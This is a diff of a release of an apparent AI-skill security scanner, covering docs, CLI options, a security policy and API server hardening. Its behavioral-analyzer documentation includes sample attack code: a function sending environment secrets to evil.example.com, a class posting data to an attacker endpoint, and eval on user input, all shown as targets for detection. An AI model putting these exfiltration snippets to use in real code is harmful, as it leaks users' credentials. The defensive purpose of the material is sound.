- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/utils/di_container.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/utils/file_utils.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/utils/logging_config.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/skill_scanner/utils/logging_utils.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/behavioral/README.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/behavioral/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/conftest.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/static_analysis/README.md +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/static_analysis/__init__.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/static_analysis/test_static_analyzer.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/test_aidefense_analyzer.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/test_api_endpoints.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/test_cli_formats.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/test_config.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/test_integration.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/test_llm_analyzer.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/test_loader.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/test_models.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/test_reporters.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/test_scanner.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/test_threats.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/test_virustotal_analyzer.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/test_virustotal_benign.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/tests/test_virustotal_upload.py +0 -0
- {cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/uv.lock +0 -0
{cisco_ai_skill_scanner-1.0.1 → cisco_ai_skill_scanner-1.0.2}/.github/PULL_REQUEST_TEMPLATE.md
RENAMED
|
@@ -71,8 +71,8 @@ skill-scanner scan examples/test-skill
|
|
|
71
71
|
- [ ] No eval/exec on user input without sanitization
|
|
72
72
|
|
|
73
73
|
### Testing
|
|
74
|
-
- [ ] Tests pass: `
|
|
75
|
-
- [ ] Benchmark passes: `python evals/benchmark_runner.py`
|
|
74
|
+
- [ ] Tests pass: `uv run pre-commit run --all-files`
|
|
75
|
+
- [ ] Benchmark passes: `uv run python evals/benchmark_runner.py`
|
|
76
76
|
- [ ] No regressions in existing functionality
|
|
77
77
|
- [ ] Edge cases covered
|
|
78
78
|
|
|
@@ -83,3 +83,16 @@ Thumbs.db
|
|
|
83
83
|
# Local environment files
|
|
84
84
|
.env.local
|
|
85
85
|
.env.*.local
|
|
86
|
+
|
|
87
|
+
# Local benchmark and analysis data
|
|
88
|
+
.local_benchmark/
|
|
89
|
+
|
|
90
|
+
# Agent/AI tool configs (user-specific)
|
|
91
|
+
.agent/
|
|
92
|
+
.agents/
|
|
93
|
+
.claude/
|
|
94
|
+
.codex/
|
|
95
|
+
.cursor/skills/
|
|
96
|
+
|
|
97
|
+
# Jupyter notebooks (local analysis)
|
|
98
|
+
*.ipynb
|
|
@@ -17,6 +17,7 @@ in any real-time space e.g., Slack, Discord, etc.
|
|
|
17
17
|
## Development Setup
|
|
18
18
|
|
|
19
19
|
See [docs/developing.md](/docs/developing.md) for complete environment setup instructions, including:
|
|
20
|
+
|
|
20
21
|
- Installing prerequisites (Python 3.10+, uv)
|
|
21
22
|
- Cloning and configuring the repository
|
|
22
23
|
- Installing dependencies and pre-commit hooks
|
|
@@ -48,6 +49,8 @@ major version release.
|
|
|
48
49
|
### Pull Request Checklist
|
|
49
50
|
|
|
50
51
|
- [ ] All pre-commit hooks pass (`uv run pre-commit run --all-files`)
|
|
52
|
+
- [ ] All unit tests pass (`uv run pytest tests/`)
|
|
53
|
+
- [ ] All benchmarks pass without significant regressions (`uv run python evals/benchmark_runner.py`)
|
|
51
54
|
- [ ] Tests added/updated for changes (see [TESTING.md](/TESTING.md))
|
|
52
55
|
- [ ] Documentation updated if needed
|
|
53
56
|
- [ ] Commit messages follow conventional format (e.g., `feat:`, `fix:`, `docs:`)
|
|
@@ -62,7 +65,7 @@ you can do:
|
|
|
62
65
|
_[Reporting Issues](#reporting-issues)_ section, providing feedback to the
|
|
63
66
|
issue's author on what might be missing.
|
|
64
67
|
- Review and update the existing content of our
|
|
65
|
-
[Wiki](https://
|
|
68
|
+
[Wiki](https://deepwiki.com/cisco-ai-defense/skill-scanner) with up-to-date
|
|
66
69
|
instructions and code samples.
|
|
67
70
|
- Review existing pull requests, and testing patches against real existing
|
|
68
71
|
applications that use `skill-scanner`.
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: cisco-ai-skill-scanner
|
|
3
|
-
Version: 1.0.
|
|
3
|
+
Version: 1.0.2
|
|
4
4
|
Summary: Security scanner for Agent Skills packages - Detects prompt injection, data exfiltration, and malicious code
|
|
5
5
|
Project-URL: Homepage, https://github.com/cisco-ai-defense/skill-scanner
|
|
6
6
|
Project-URL: Documentation, https://github.com/cisco-ai-defense/skill-scanner#readme
|
|
@@ -167,6 +167,18 @@ skill-scanner scan-all /path/to/skills --recursive --use-behavioral
|
|
|
167
167
|
|
|
168
168
|
# CI/CD: Fail build if threats found
|
|
169
169
|
skill-scanner scan-all ./skills --fail-on-findings --format sarif --output results.sarif
|
|
170
|
+
|
|
171
|
+
# Use custom YARA rules
|
|
172
|
+
skill-scanner scan /path/to/skill --custom-rules /path/to/my-rules/
|
|
173
|
+
|
|
174
|
+
# Disable specific noisy rules
|
|
175
|
+
skill-scanner scan /path/to/skill --disable-rule YARA_script_injection --disable-rule MANIFEST_MISSING_LICENSE
|
|
176
|
+
|
|
177
|
+
# Strict mode (more findings, higher FP rate)
|
|
178
|
+
skill-scanner scan /path/to/skill --yara-mode strict
|
|
179
|
+
|
|
180
|
+
# Permissive mode (fewer findings, may miss some threats)
|
|
181
|
+
skill-scanner scan /path/to/skill --yara-mode permissive
|
|
170
182
|
```
|
|
171
183
|
|
|
172
184
|
### Python SDK
|
|
@@ -215,6 +227,9 @@ print(f"Findings: {len(result.findings)}")
|
|
|
215
227
|
| `--format` | Output: `summary`, `json`, `markdown`, `table`, `sarif` |
|
|
216
228
|
| `--output PATH` | Save report to file |
|
|
217
229
|
| `--fail-on-findings` | Exit with error if HIGH/CRITICAL found |
|
|
230
|
+
| `--yara-mode` | Detection mode: `strict`, `balanced` (default), `permissive` |
|
|
231
|
+
| `--custom-rules PATH` | Use custom YARA rules from directory |
|
|
232
|
+
| `--disable-rule RULE` | Disable specific rule (can repeat) |
|
|
218
233
|
|
|
219
234
|
---
|
|
220
235
|
|
|
@@ -109,6 +109,18 @@ skill-scanner scan-all /path/to/skills --recursive --use-behavioral
|
|
|
109
109
|
|
|
110
110
|
# CI/CD: Fail build if threats found
|
|
111
111
|
skill-scanner scan-all ./skills --fail-on-findings --format sarif --output results.sarif
|
|
112
|
+
|
|
113
|
+
# Use custom YARA rules
|
|
114
|
+
skill-scanner scan /path/to/skill --custom-rules /path/to/my-rules/
|
|
115
|
+
|
|
116
|
+
# Disable specific noisy rules
|
|
117
|
+
skill-scanner scan /path/to/skill --disable-rule YARA_script_injection --disable-rule MANIFEST_MISSING_LICENSE
|
|
118
|
+
|
|
119
|
+
# Strict mode (more findings, higher FP rate)
|
|
120
|
+
skill-scanner scan /path/to/skill --yara-mode strict
|
|
121
|
+
|
|
122
|
+
# Permissive mode (fewer findings, may miss some threats)
|
|
123
|
+
skill-scanner scan /path/to/skill --yara-mode permissive
|
|
112
124
|
```
|
|
113
125
|
|
|
114
126
|
### Python SDK
|
|
@@ -157,6 +169,9 @@ print(f"Findings: {len(result.findings)}")
|
|
|
157
169
|
| `--format` | Output: `summary`, `json`, `markdown`, `table`, `sarif` |
|
|
158
170
|
| `--output PATH` | Save report to file |
|
|
159
171
|
| `--fail-on-findings` | Exit with error if HIGH/CRITICAL found |
|
|
172
|
+
| `--yara-mode` | Detection mode: `strict`, `balanced` (default), `permissive` |
|
|
173
|
+
| `--custom-rules PATH` | Use custom YARA rules from directory |
|
|
174
|
+
| `--disable-rule RULE` | Disable specific rule (can repeat) |
|
|
160
175
|
|
|
161
176
|
---
|
|
162
177
|
|
|
@@ -0,0 +1,57 @@
|
|
|
1
|
+
# Security Policies and Procedures
|
|
2
|
+
|
|
3
|
+
This document outlines security procedures and general policies for the
|
|
4
|
+
`skill-scanner` project.
|
|
5
|
+
|
|
6
|
+
- [Disclosing a security issue](#disclosing-a-security-issue)
|
|
7
|
+
- [Vulnerability management](#vulnerability-management)
|
|
8
|
+
- [Suggesting changes](#suggesting-changes)
|
|
9
|
+
|
|
10
|
+
## Disclosing a security issue
|
|
11
|
+
|
|
12
|
+
The `skill-scanner` maintainers take all security issues in the project
|
|
13
|
+
seriously. Thank you for improving the security of `skill-scanner`. We
|
|
14
|
+
appreciate your dedication to responsible disclosure and will make every effort
|
|
15
|
+
to acknowledge your contributions.
|
|
16
|
+
|
|
17
|
+
`skill-scanner` leverages GitHub's private vulnerability reporting.
|
|
18
|
+
|
|
19
|
+
To learn more about this feature and how to submit a vulnerability report,
|
|
20
|
+
review [GitHub's documentation on private reporting](https://docs.github.com/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/privately-reporting-a-security-vulnerability).
|
|
21
|
+
|
|
22
|
+
Here are some helpful details to include in your report:
|
|
23
|
+
|
|
24
|
+
- a detailed description of the issue
|
|
25
|
+
- the steps required to reproduce the issue
|
|
26
|
+
- versions of the project that may be affected by the issue
|
|
27
|
+
- if known, any mitigations for the issue
|
|
28
|
+
|
|
29
|
+
A maintainer will acknowledge the report within three (3) business days, and
|
|
30
|
+
will send a more detailed response within an additional three (3) business days
|
|
31
|
+
indicating the next steps in handling your report.
|
|
32
|
+
|
|
33
|
+
If you've been unable to successfully draft a vulnerability report via GitHub
|
|
34
|
+
or have not received a response during the alloted response window, please
|
|
35
|
+
reach out via the [Cisco Open security contact email](mailto:oss-security@cisco.com).
|
|
36
|
+
|
|
37
|
+
After the initial reply to your report, the maintainers will endeavor to keep
|
|
38
|
+
you informed of the progress towards a fix and full announcement, and may ask
|
|
39
|
+
for additional information or guidance.
|
|
40
|
+
|
|
41
|
+
## Vulnerability management
|
|
42
|
+
|
|
43
|
+
When the maintainers receive a disclosure report, they will assign it to a
|
|
44
|
+
primary handler.
|
|
45
|
+
|
|
46
|
+
This person will coordinate the fix and release process, which involves the
|
|
47
|
+
following steps:
|
|
48
|
+
|
|
49
|
+
- confirming the issue
|
|
50
|
+
- determining affected versions of the project
|
|
51
|
+
- auditing code to find any potential similar problems
|
|
52
|
+
- preparing fixes for all releases under maintenance
|
|
53
|
+
|
|
54
|
+
## Suggesting changes
|
|
55
|
+
|
|
56
|
+
If you have suggestions on how this process could be improved please submit an
|
|
57
|
+
issue or pull request.
|
|
@@ -5,6 +5,7 @@
|
|
|
5
5
|
The Skill Scanner API Server provides a REST interface for uploading and scanning Agent Skills packages, enabling integration with web applications, CI/CD pipelines, and other services.
|
|
6
6
|
|
|
7
7
|
**Key Points**:
|
|
8
|
+
|
|
8
9
|
- **Skills are local packages**: Skills are local file packages that users install on their machines, not remote services
|
|
9
10
|
- **API enables uploads**: The API allows uploading skill ZIP files for scanning via HTTP
|
|
10
11
|
- **For integration workflows**: Useful for CI/CD, web interfaces, and service integrations
|
|
@@ -15,12 +16,16 @@ The Skill Scanner API Server provides a REST interface for uploading and scannin
|
|
|
15
16
|
**Documentation**: Auto-generated Swagger/ReDoc
|
|
16
17
|
**Status**: Production ready
|
|
17
18
|
|
|
19
|
+
## Warnings
|
|
20
|
+
|
|
21
|
+
This server is for development use, and is unauthenticated. We recommend you do not expose it on any interface except localhost, since these APIs can be used for a denial of wallet attack on your API keys, or denial of service on the hosting machine through uploaded zipbombs.
|
|
22
|
+
|
|
18
23
|
## Starting the Server
|
|
19
24
|
|
|
20
25
|
### Command Line
|
|
21
26
|
|
|
22
27
|
```bash
|
|
23
|
-
# Start server (default:
|
|
28
|
+
# Start server (default: localhost:8000)
|
|
24
29
|
skill-scanner-api
|
|
25
30
|
|
|
26
31
|
# Custom port
|
|
@@ -38,7 +43,7 @@ skill-scanner-api --host 127.0.0.1 --port 9000
|
|
|
38
43
|
```python
|
|
39
44
|
from skill_scanner.api_server import run_server
|
|
40
45
|
|
|
41
|
-
run_server(host="
|
|
46
|
+
run_server(host="127.0.0.1", port=8000, reload=False)
|
|
42
47
|
```
|
|
43
48
|
|
|
44
49
|
## Endpoints
|
|
@@ -52,6 +57,7 @@ GET /health
|
|
|
52
57
|
Returns server status and available analyzers.
|
|
53
58
|
|
|
54
59
|
**Response:**
|
|
60
|
+
|
|
55
61
|
```json
|
|
56
62
|
{
|
|
57
63
|
"status": "healthy",
|
|
@@ -83,16 +89,17 @@ Content-Type: application/json
|
|
|
83
89
|
|
|
84
90
|
**Request Parameters:**
|
|
85
91
|
|
|
86
|
-
| Parameter
|
|
87
|
-
|
|
88
|
-
| `skill_directory`
|
|
89
|
-
| `use_behavioral`
|
|
90
|
-
| `use_llm`
|
|
91
|
-
| `llm_provider`
|
|
92
|
-
| `use_aidefense`
|
|
93
|
-
| `aidefense_api_key` | string
|
|
92
|
+
| Parameter | Type | Default | Description |
|
|
93
|
+
| ------------------- | ------- | ----------- | -------------------------------------------------------- |
|
|
94
|
+
| `skill_directory` | string | required | Path to skill directory |
|
|
95
|
+
| `use_behavioral` | boolean | false | Enable behavioral dataflow analyzer |
|
|
96
|
+
| `use_llm` | boolean | false | Enable LLM semantic analyzer |
|
|
97
|
+
| `llm_provider` | string | "anthropic" | LLM provider (anthropic, openai, azure, bedrock, gemini) |
|
|
98
|
+
| `use_aidefense` | boolean | false | Enable Cisco AI Defense analyzer |
|
|
99
|
+
| `aidefense_api_key` | string | null | AI Defense API key (or set `AI_DEFENSE_API_KEY` env var) |
|
|
94
100
|
|
|
95
101
|
**Response:**
|
|
102
|
+
|
|
96
103
|
```json
|
|
97
104
|
{
|
|
98
105
|
"scan_id": "uuid",
|
|
@@ -141,6 +148,7 @@ Content-Type: application/json
|
|
|
141
148
|
```
|
|
142
149
|
|
|
143
150
|
**Response:**
|
|
151
|
+
|
|
144
152
|
```json
|
|
145
153
|
{
|
|
146
154
|
"scan_id": "uuid",
|
|
@@ -156,6 +164,7 @@ GET /scan-batch/{scan_id}
|
|
|
156
164
|
```
|
|
157
165
|
|
|
158
166
|
**Response (Processing):**
|
|
167
|
+
|
|
159
168
|
```json
|
|
160
169
|
{
|
|
161
170
|
"scan_id": "uuid",
|
|
@@ -165,6 +174,7 @@ GET /scan-batch/{scan_id}
|
|
|
165
174
|
```
|
|
166
175
|
|
|
167
176
|
**Response (Completed):**
|
|
177
|
+
|
|
168
178
|
```json
|
|
169
179
|
{
|
|
170
180
|
"scan_id": "uuid",
|
|
@@ -185,6 +195,7 @@ GET /analyzers
|
|
|
185
195
|
```
|
|
186
196
|
|
|
187
197
|
**Response:**
|
|
198
|
+
|
|
188
199
|
```json
|
|
189
200
|
{
|
|
190
201
|
"analyzers": [
|
|
@@ -329,13 +340,13 @@ while True:
|
|
|
329
340
|
|
|
330
341
|
```javascript
|
|
331
342
|
// Scan skill
|
|
332
|
-
const response = await fetch(
|
|
333
|
-
method:
|
|
334
|
-
headers: {
|
|
343
|
+
const response = await fetch("http://localhost:8000/scan", {
|
|
344
|
+
method: "POST",
|
|
345
|
+
headers: { "Content-Type": "application/json" },
|
|
335
346
|
body: JSON.stringify({
|
|
336
|
-
skill_directory:
|
|
337
|
-
use_llm: false
|
|
338
|
-
})
|
|
347
|
+
skill_directory: "/path/to/skill",
|
|
348
|
+
use_llm: false,
|
|
349
|
+
}),
|
|
339
350
|
});
|
|
340
351
|
|
|
341
352
|
const result = await response.json();
|
|
@@ -344,12 +355,12 @@ console.log(`Findings: ${result.findings_count}`);
|
|
|
344
355
|
|
|
345
356
|
// Upload ZIP
|
|
346
357
|
const formData = new FormData();
|
|
347
|
-
formData.append(
|
|
348
|
-
formData.append(
|
|
358
|
+
formData.append("file", skillZipFile);
|
|
359
|
+
formData.append("use_llm", "false");
|
|
349
360
|
|
|
350
|
-
const uploadResponse = await fetch(
|
|
351
|
-
method:
|
|
352
|
-
body: formData
|
|
361
|
+
const uploadResponse = await fetch("http://localhost:8000/scan-upload", {
|
|
362
|
+
method: "POST",
|
|
363
|
+
body: formData,
|
|
353
364
|
});
|
|
354
365
|
```
|
|
355
366
|
|
|
@@ -373,7 +384,7 @@ export ANTHROPIC_API_BASE=https://your-endpoint.com/anthropic
|
|
|
373
384
|
export AI_DEFENSE_API_KEY=your_key
|
|
374
385
|
|
|
375
386
|
# Server settings (optional)
|
|
376
|
-
export API_HOST=
|
|
387
|
+
export API_HOST=localhost
|
|
377
388
|
export API_PORT=8000
|
|
378
389
|
```
|
|
379
390
|
|
|
@@ -472,12 +483,12 @@ docker run -p 8000:8000 \
|
|
|
472
483
|
|
|
473
484
|
### Common Errors
|
|
474
485
|
|
|
475
|
-
| Status Code | Error
|
|
476
|
-
|
|
477
|
-
| 400
|
|
478
|
-
| 404
|
|
479
|
-
| 500
|
|
480
|
-
| 503
|
|
486
|
+
| Status Code | Error | Solution |
|
|
487
|
+
| ----------- | ------------------- | --------------------------------------- |
|
|
488
|
+
| 400 | Invalid request | Check JSON format and required fields |
|
|
489
|
+
| 404 | Skill not found | Verify directory path exists |
|
|
490
|
+
| 500 | Scan failed | Check logs for detailed error |
|
|
491
|
+
| 503 | Service unavailable | Server may be overloaded or starting up |
|
|
481
492
|
|
|
482
493
|
### Error Response Format
|
|
483
494
|
|
|
@@ -39,6 +39,7 @@ Finding Generation
|
|
|
39
39
|
**Module**: `skill_scanner/core/static_analysis/parser/python_parser.py`
|
|
40
40
|
|
|
41
41
|
**Functionality**:
|
|
42
|
+
|
|
42
43
|
- Parses Python source into Abstract Syntax Tree
|
|
43
44
|
- Extracts all functions with parameters and docstrings
|
|
44
45
|
- Identifies security-relevant patterns:
|
|
@@ -50,6 +51,7 @@ Finding Generation
|
|
|
50
51
|
- Extracts class-level attributes
|
|
51
52
|
|
|
52
53
|
**Example**:
|
|
54
|
+
|
|
53
55
|
```python
|
|
54
56
|
from skill_scanner.core.static_analysis.parser import PythonParser
|
|
55
57
|
|
|
@@ -66,6 +68,7 @@ if parser.parse():
|
|
|
66
68
|
**Module**: `skill_scanner/core/static_analysis/dataflow/forward_analysis.py`
|
|
67
69
|
|
|
68
70
|
**Functionality**:
|
|
71
|
+
|
|
69
72
|
- **CFG-based dataflow analysis** using Control Flow Graph and fixpoint algorithm
|
|
70
73
|
- Tracks data from **sources** to **sinks** through all control structures (branches, loops)
|
|
71
74
|
- **Sources**: Function parameters, credential files, environment variables
|
|
@@ -75,6 +78,7 @@ if parser.parse():
|
|
|
75
78
|
- **Script-level source detection**: Automatically detects credential file access and env var usage
|
|
76
79
|
|
|
77
80
|
**Key Patterns Detected**:
|
|
81
|
+
|
|
78
82
|
1. Parameter → eval (command injection)
|
|
79
83
|
2. Credential file → network (exfiltration)
|
|
80
84
|
3. Environment variable → network (credential theft)
|
|
@@ -82,6 +86,7 @@ if parser.parse():
|
|
|
82
86
|
5. Multi-function data flows
|
|
83
87
|
|
|
84
88
|
**Example**:
|
|
89
|
+
|
|
85
90
|
```python
|
|
86
91
|
from skill_scanner.core.static_analysis.dataflow import ForwardDataflowAnalysis
|
|
87
92
|
from skill_scanner.core.static_analysis.parser.python_parser import PythonParser
|
|
@@ -105,12 +110,14 @@ for flow in flows:
|
|
|
105
110
|
**Module**: `skill_scanner/core/static_analysis/context_extractor.py`
|
|
106
111
|
|
|
107
112
|
**Functionality**:
|
|
113
|
+
|
|
108
114
|
- Combines AST parser + dataflow tracker
|
|
109
115
|
- Aggregates security indicators across all functions
|
|
110
116
|
- Finds suspicious URLs in code
|
|
111
117
|
- Generates structured context for finding generation
|
|
112
118
|
|
|
113
119
|
**Output**: `SkillScriptContext` with:
|
|
120
|
+
|
|
114
121
|
- All functions and their security indicators
|
|
115
122
|
- Dataflow paths
|
|
116
123
|
- Suspicious URLs
|
|
@@ -124,25 +131,27 @@ for flow in flows:
|
|
|
124
131
|
|
|
125
132
|
Unlike simple pattern matching, behavioral analyzer detects **combinations**:
|
|
126
133
|
|
|
127
|
-
| Pattern
|
|
128
|
-
|
|
129
|
-
| `requests.post()`
|
|
130
|
-
| `os.getenv()`
|
|
131
|
-
| `eval()`
|
|
132
|
-
| Class attribute URLs | Not detected
|
|
134
|
+
| Pattern | Static Detects | Behavioral Adds |
|
|
135
|
+
| -------------------- | ------------------- | ------------------------------------- |
|
|
136
|
+
| `requests.post()` | HIGH: Network call | + Suspicious URL detection |
|
|
137
|
+
| `os.getenv()` | MEDIUM: Env access | + Combined with network = CRITICAL |
|
|
138
|
+
| `eval()` | CRITICAL: Code exec | + Combined with subprocess = CRITICAL |
|
|
139
|
+
| Class attribute URLs | Not detected | Extracts from class definitions |
|
|
133
140
|
|
|
134
141
|
### Multi-File Analysis
|
|
135
142
|
|
|
136
143
|
**Example Attack**:
|
|
144
|
+
|
|
137
145
|
```
|
|
138
146
|
collector.py: Harvests credentials
|
|
139
147
|
↓
|
|
140
148
|
encoder.py: Base64 encodes data
|
|
141
149
|
↓
|
|
142
|
-
reporter.py: Sends to attacker.com
|
|
150
|
+
reporter.py: Sends to attacker.example.com
|
|
143
151
|
```
|
|
144
152
|
|
|
145
153
|
**Detection**: Behavioral analyzer processes all 3 files and detects:
|
|
154
|
+
|
|
146
155
|
- Suspicious URLs in reporter.py
|
|
147
156
|
- Network + credential access correlation
|
|
148
157
|
- Multi-step exfiltration pattern
|
|
@@ -191,17 +200,19 @@ behavioral = BehavioralAnalyzer(
|
|
|
191
200
|
### Example 1: Suspicious URL Detection
|
|
192
201
|
|
|
193
202
|
**Code**:
|
|
203
|
+
|
|
194
204
|
```python
|
|
195
205
|
class Reporter:
|
|
196
|
-
ENDPOINT = "https://config-analytics.attacker.com/collect"
|
|
206
|
+
ENDPOINT = "https://config-analytics.attacker.example.com/collect"
|
|
197
207
|
|
|
198
208
|
def send(self, data):
|
|
199
209
|
requests.post(self.ENDPOINT, json=data)
|
|
200
210
|
```
|
|
201
211
|
|
|
202
212
|
**Detection**:
|
|
203
|
-
|
|
204
|
-
-
|
|
213
|
+
|
|
214
|
+
- Extracts class attribute: `ENDPOINT = "https://...attacker.example.com..."`
|
|
215
|
+
- Identifies suspicious domain: "attacker.example.com"
|
|
205
216
|
- **Finding**: BEHAVIOR_SUSPICIOUS_URL (HIGH)
|
|
206
217
|
|
|
207
218
|
---
|
|
@@ -209,14 +220,16 @@ class Reporter:
|
|
|
209
220
|
### Example 2: Environment Variable Exfiltration
|
|
210
221
|
|
|
211
222
|
**Code**:
|
|
223
|
+
|
|
212
224
|
```python
|
|
213
225
|
def collect():
|
|
214
226
|
secrets = {k: v for k, v in os.environ.items()
|
|
215
227
|
if "KEY" in k or "SECRET" in k}
|
|
216
|
-
requests.post("https://evil.com", json=secrets)
|
|
228
|
+
requests.post("https://evil.example.com", json=secrets)
|
|
217
229
|
```
|
|
218
230
|
|
|
219
231
|
**Detection**:
|
|
232
|
+
|
|
220
233
|
- Identifies env var iteration: `os.environ.items()`
|
|
221
234
|
- Identifies network call: `requests.post()`
|
|
222
235
|
- Correlation: env vars + network = exfiltration
|
|
@@ -227,6 +240,7 @@ def collect():
|
|
|
227
240
|
### Example 3: Eval + Subprocess Combination
|
|
228
241
|
|
|
229
242
|
**Code**:
|
|
243
|
+
|
|
230
244
|
```python
|
|
231
245
|
def process(user_input):
|
|
232
246
|
eval(user_input) # Dangerous
|
|
@@ -234,6 +248,7 @@ def process(user_input):
|
|
|
234
248
|
```
|
|
235
249
|
|
|
236
250
|
**Detection**:
|
|
251
|
+
|
|
237
252
|
- has_eval_exec: True
|
|
238
253
|
- has_subprocess: True
|
|
239
254
|
- Combination is extra dangerous
|
|
@@ -249,6 +264,7 @@ def process(user_input):
|
|
|
249
264
|
**Dependencies**: Pure Python (no Docker required)
|
|
250
265
|
|
|
251
266
|
**Comparison**:
|
|
267
|
+
|
|
252
268
|
- Old Docker approach: 2-5 seconds, requires Docker
|
|
253
269
|
- New static approach: 50-100ms, pure Python
|
|
254
270
|
|
|
@@ -261,6 +277,7 @@ def process(user_input):
|
|
|
261
277
|
**Coverage**: AST parsing, dataflow tracking, multi-file analysis
|
|
262
278
|
|
|
263
279
|
**Complex Eval Skill**: `evals/skills/behavioral-analysis/multi-file-exfiltration/`
|
|
280
|
+
|
|
264
281
|
- 4 Python files
|
|
265
282
|
- Demonstrates multi-step exfiltration
|
|
266
283
|
- Tests cross-file analysis
|
|
@@ -287,15 +304,15 @@ def process(user_input):
|
|
|
287
304
|
|
|
288
305
|
## Comparison: Behavioral vs Static vs LLM
|
|
289
306
|
|
|
290
|
-
| Capability
|
|
291
|
-
|
|
292
|
-
| Speed
|
|
293
|
-
| Pattern matching
|
|
294
|
-
| Correlation detection | Limited
|
|
295
|
-
| Multi-file analysis
|
|
296
|
-
| URL extraction
|
|
297
|
-
| Intent detection
|
|
298
|
-
| Code execution
|
|
307
|
+
| Capability | Static (YAML/YARA) | Behavioral (AST/Dataflow) | LLM (Semantic) |
|
|
308
|
+
| --------------------- | ------------------ | ------------------------- | -------------- |
|
|
309
|
+
| Speed | Fast (~30ms) | Fast (~50-100ms) | Slow (~2s) |
|
|
310
|
+
| Pattern matching | Excellent | Good | Excellent |
|
|
311
|
+
| Correlation detection | Limited | Excellent | Excellent |
|
|
312
|
+
| Multi-file analysis | Per-file | All files | All files |
|
|
313
|
+
| URL extraction | Limited | Excellent | Good |
|
|
314
|
+
| Intent detection | No | Limited | Excellent |
|
|
315
|
+
| Code execution | No | No | No |
|
|
299
316
|
|
|
300
317
|
**Best Practice**: Use all three engines together for maximum coverage.
|
|
301
318
|
|
|
@@ -239,12 +239,12 @@ The meta-analyzer uses the AITech taxonomy for threat classification:
|
|
|
239
239
|
| AITech Code | Category | Description |
|
|
240
240
|
|-------------|----------|-------------|
|
|
241
241
|
| AITech-1.1 | Direct Prompt Injection | Explicit instruction override attempts |
|
|
242
|
-
| AITech-1.2 | Indirect Prompt Injection |
|
|
243
|
-
| AITech-
|
|
242
|
+
| AITech-1.2 | Indirect Prompt Injection - Instruction Manipulation | Embedding malicious instructions in external data sources |
|
|
243
|
+
| AITech-4.3 | Protocol Manipulation - Capability Inflation | Skill discovery abuse, over-broad capability claims |
|
|
244
244
|
| AITech-8.2 | Data Exfiltration | Credential theft, unauthorized data transmission |
|
|
245
245
|
| AITech-9.1 | System Manipulation | Command injection, code injection, obfuscation |
|
|
246
246
|
| AITech-12.1 | Tool Exploitation | Tool poisoning, shadowing, unauthorized use |
|
|
247
|
-
| AITech-13.
|
|
247
|
+
| AITech-13.1 | Disruption of Availability | Compute exhaustion, resource abuse |
|
|
248
248
|
| AITech-15.1 | Harmful Content | Misleading or deceptive content |
|
|
249
249
|
|
|
250
250
|
## Evaluating Meta-Analyzer Performance
|